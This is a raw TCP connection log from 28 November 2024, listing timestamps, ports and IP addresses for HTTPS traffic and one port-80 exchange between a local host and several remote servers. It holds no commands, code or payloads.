Nov 28, 2024 02:27:23.992952108 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:23.993021965 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:23.993108034 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:23.993115902 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:24.030725956 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.030766010 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.030831099 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.030833960 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.030858994 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.033174038 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.034470081 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:24.052948952 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.052958012 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.053018093 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.053026915 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.053075075 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.060853004 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.060878038 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.060920954 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.060928106 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.060973883 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.068840027 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.068861008 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.068927050 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.068933964 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.068974972 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.069052935 CET	49751	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:24.069139004 CET	443	49751	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:24.069294930 CET	49751	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:24.075845957 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.075877905 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.075920105 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.075926065 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.075967073 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.083801985 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.083826065 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.083889961 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.083897114 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.083937883 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.090401888 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.090425014 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.090529919 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.090564966 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.090784073 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.091370106 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.091392994 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.091428041 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.091434002 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.091480017 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.097811937 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.097835064 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.097915888 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.097930908 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.097973108 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.099533081 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.099553108 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.099601984 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.099608898 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.099657059 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.102524042 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.102549076 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.102628946 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.102663040 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.102680922 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.102849007 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.107033968 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.107049942 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.107125044 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.107157946 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.107181072 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.107233047 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.107755899 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.107783079 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.107805014 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.107811928 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.107835054 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.107847929 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.111671925 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.111686945 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.111747026 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.111774921 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.112018108 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.112425089 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.112508059 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.112513065 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.112562895 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.115938902 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.115938902 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.115955114 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.116013050 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.116030931 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.116055012 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.116060019 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.116061926 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.116137981 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.119095087 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.119164944 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.119169950 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.119246960 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.119468927 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.119483948 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.119539022 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.119556904 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.119575024 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.119594097 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.122994900 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.123059988 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.123064041 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.123218060 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.123503923 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.123522043 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.123564959 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.123594999 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.123615980 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.123714924 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.125838041 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.125921011 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.125926018 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.126140118 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.127232075 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.127248049 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.127345085 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.127368927 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.127434969 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.128999949 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.129086971 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.129091978 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.129147053 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.131642103 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.131663084 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.131721973 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.131741047 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.131767035 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.131783962 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.133375883 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.133454084 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.133459091 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.133629084 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.134185076 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.134202957 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.134246111 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.134262085 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.134285927 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.134306908 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.136974096 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.137044907 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.137049913 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.137109041 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.139172077 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.139188051 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.139288902 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.139303923 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.139527082 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.140907049 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.140995026 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.141000032 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.141180038 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.141382933 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.141403913 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.141458035 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.141470909 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.141499043 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.141506910 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.143908024 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.144009113 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.144012928 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.144076109 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.147547960 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.147564888 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.147634029 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.147650957 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.147730112 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.148081064 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.148139000 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.148144007 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.148286104 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.149672031 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.149687052 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.149782896 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.149796963 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.149899960 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.151458979 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.151546955 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.151551008 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.151684046 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.154736996 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.154850960 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.154854059 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.155163050 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.157293081 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.157311916 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.157402992 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.157419920 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.157473087 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.159030914 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.159121990 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.159126043 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.159207106 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.162456036 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.162554026 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.162558079 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.162604094 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.165757895 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.165853977 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.165858030 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.165904999 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.225764990 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.225789070 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.255567074 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.255594015 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.255702019 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.255724907 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.257186890 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.263520002 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.263536930 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.263623953 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.263631105 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.264452934 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.271519899 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.271543980 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.271629095 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.271636009 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.271677017 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.277260065 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.277277946 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.277343035 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.277350903 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.281194925 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.282907963 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.282947063 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.282967091 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.282977104 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.283008099 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.283034086 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.283042908 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.283538103 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.283549070 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.301100016 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.301127911 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.301239967 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.301260948 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.301407099 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.302927971 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.303010941 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.303016901 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.303073883 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.305023909 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.305052042 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.305140018 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.305155993 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.305347919 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.307347059 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.307440996 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.307446003 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.307485104 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.308399916 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.308415890 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.308486938 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.308496952 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.308772087 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.310590982 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.310683012 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.310688019 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.310726881 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.311934948 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.311950922 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.312032938 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.312047958 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.312141895 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.313873053 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.313940048 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.313945055 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.314829111 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.316967010 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.316988945 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.317039013 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.317048073 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.317076921 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.317090988 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.318331957 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.318418026 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.318423033 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.318463087 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.320393085 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.320406914 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.320478916 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.320492029 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.320532084 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.321882963 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.321953058 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.321957111 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.322781086 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.324548006 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.324593067 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.324611902 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.324620962 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.324642897 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.324645042 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.324662924 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.324687004 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.324997902 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.325066090 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.325069904 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.325165987 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.325788021 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.325805902 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.327997923 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.328012943 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.328089952 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.328102112 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.328253031 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.329255104 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.329333067 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.329336882 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.329902887 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.332684040 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.332817078 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.332820892 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.332863092 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.335462093 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.335477114 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.335560083 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.335570097 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.335686922 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.336369991 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.336441040 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.336445093 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.336493969 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.338052034 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:24.338269949 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:24.339701891 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.339787960 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.339792967 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.340447903 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.343595982 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.343616962 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.343689919 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.343698978 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.343732119 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.343745947 CET	49742	443	192.168.2.6	150.171.27.10
